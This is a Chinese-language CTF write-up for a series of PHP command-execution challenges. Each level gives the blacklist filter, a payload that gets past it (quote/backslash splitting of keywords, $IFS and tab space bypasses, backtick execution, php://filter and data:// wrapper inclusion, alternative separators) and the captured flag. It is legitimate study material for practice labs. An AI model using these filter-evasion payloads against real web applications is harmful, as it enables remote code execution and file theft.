考点:preg_match对于“flag”的字符的过滤
使用f*代替flag完成绕过
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
payload:?c=system("cat f*");
执行后flag在源代码里
此外网上大佬也给出了另一种解决办法
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
c=system('ca\t fla\g.php');
flag:flag{ca702203-0b5f-4bb0-ad68-3154d728ab0c}
和上一题相似不过这次吧system也过滤了
可以通过system的替代函数完成
这里通过反引号执行系统命令完成
payload:?c=echo `cat f*`;
初次之外还有一些函数与system的功能相同
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
flag:flag{3cede271-4a2a-4e94-85b4-025278b306a1}
本题过滤了flag,sytem,php,cat,sort shell,.,空格,’
当cat被过滤后可以使用以下命令替代
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)sed:一种编辑器,这个也可以查看
当空格被过滤后可以使用以下命令替代
%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)
payload:?c=echo`more%09f*`;
flag:flag{5062e094-f2fb-4a1c-8632-fe17f2c98a73}
在前面基础上又过滤了括号
使用include"$_POST[1]"?加上post传递参数利用伪协议实现绕过
paylaod
?c=include"$_POST[1]"?>
1=php://filter/read=convert.base64-encode/resource=flag.php
当然使用GET传参也能得到相同效果
payload
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
传递后得到一串base64编码,解码后得到flag
flag:flag{cc9b544f-8f19-48b6-b867-b9837304f780}
payload与上一题相同但需要去掉“”
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
flag:flag{68551975-46f4-47e7-9fbd-b987050a56d3}
多过滤了:
paylaod与上题相同
flag:flag{ae336974-68a0-406d-a3d0-49489b233f6a}
多过滤了=
GET无法用了,但POST还行继续,payload参考上面题目的
flag:flag{1e01b6f4-bea9-412a-bb5d-6b907c0af54c}
多过滤了0-9的数字
修改POST
paylaod
?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php
flag:flag{1599bb50-452b-4c15-a62c-795f732d82d8}
这里用了PHP文件包含函数include(),利用伪协议读flag
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
paylaod
?c=data://text/plain,
text/plain的意思是将文件设置为纯文本的形式,浏览器在获取到这种文件时并不会对其进行处理。
官方的hint
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
flag:flag{393b41d8-18d1-444e-a9dd-0c4ab3b549b2}
这里过滤了php|file
采取web37官方hint的方法,把语句转换成base64进行绕过
flag:flag=flag{94932556-2e1a-4023-8060-15d30baea5cc}
hint:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
所以paylaod与37类似,因为参考了羽大佬的博客一些payload是通解
paylaod
?c=data://text/plain,
flag:flag{347c3988-4a4d-4859-a935-324827012281}
hint:GXYCTF的禁止套娃 通过cookie获得参 数进行命令执行
这题过滤了很多,而网上大佬的wp现在还无法理解,只能先暂时抄一下解题过程,以后学多了再回头来做一遍吧
1、使用读文件+数组改造
payload
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
c=readfile(array_rand(array_flip(scandir(current(localeconv())))));(flag在源代码中,需要多刷几次才能访问到flag.php)
所用函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
scandir(pos(localeconv()))就能得到flag.php了。
此时再将arry倒序并输出第二个就能得到flag
flag:flag{dc0a331d-32df-4461-b292-6668ee402ca5}
咕咕咕,看不懂羽大佬博客,有空再写
https://blog.csdn.net/miuzzx/article/details/108569080
发现>/dev/null 2>&1命令
查询后得知,执行了这条命令之后,它的作用就是执行某个命令将不会有任何日志输出,所以我查了个寂寞?算了就当学习吧
payload:
?c=ls;
?c= cat flag.php;
flag:flag{d8911efd-fad3-4756-9481-514961a7d54f}
本题过滤了cat,分号
利用与cat功能类似的函数替代,或者使用\进行绕过
more,less,nl,tail
ca
分号使用其他分隔符代替,例如||
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
但这题我试了只能使用||和%0a不知道为什么
payload:?c=nl flag.php||
flag:flag{883ac356-7c4d-4812-adc4-7308589c838d}
多过滤了flag,使用f*进行绕过
payload:?c=nl f*||
flag:flag{9448b553-eda5-42e5-a871-d07ffa676d3c}
多过滤了空格使用%,使用以下绕过空格的方法
cat flag.txt
cat${IFS}flag.txt
cat$IFS/flag.txt
cat$IFS$9flag.txt
catflag.txt
cat%09flag.txt
payload:?c=nl${IFS}$f*||
flag:flag{c712d0f5-0f77-48f4-9c4d-328b63faa167}
过滤如下;|cat|flag| |[0-9]|$|*,无法再使用web45的绕过方式
payload:?c=ca\t%09fla\g.php||
注:使用hackbar传值时%09会被URL二次编码变成%2509手动去掉再次执行即可
flag:flag{b2166445-6311-4ea7-a9e9-2dd13eb93434}
过滤力度越来越大了,过滤如下;|cat|flag| |[0-9]|$|*|more|less|head|sort|tail
看别人的wp又学到一个cat的绕过方式–ca’'t
payload:?c=ca''t
flag:flag{cce4f63f-d5f9-43bb-a2b9-5a8093b536e2}
按web47的payload轻松得到flag
flag:flag{7113aeec-78e7-4524-a596-0bc2d1dcb4e5}
按web47的payload轻松得到flag,是不是有点过于轻松了?
flag:flag{86ff932a-6ada-4868-9abc-00a20e1d07d5}
啊这,继续使用web47paylaod
flag:flag{b1e9406b-4f60-4bf7-8165-6ca6b6729580}
继续web47payload,感觉都要用上瘾了
flag:flag{44d7df24-98ff-46b1-ba84-eff53027ae49}
终于在层层过滤下web47payload失效了
过滤如下;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|\x09|\x26|>|<
那就稍微修改以下空格的绕过方式
payload:?c=ca''t${IFS}fla\g.php||
好家伙给了我个flag_here
使用ls -al查看文件,发现一无所获,使用ls -al /查看根目录
?c=ls${IFS}-al|| 查看当前目录
?c=ls${IFS}-al${IFS}/|| 查看根目录
发现了
paylaod:?c=ca\t${IFS}/fla\g||
flag:flag{bcb6c6af-0783-489d-9c24-192c7439665c}
未完待续……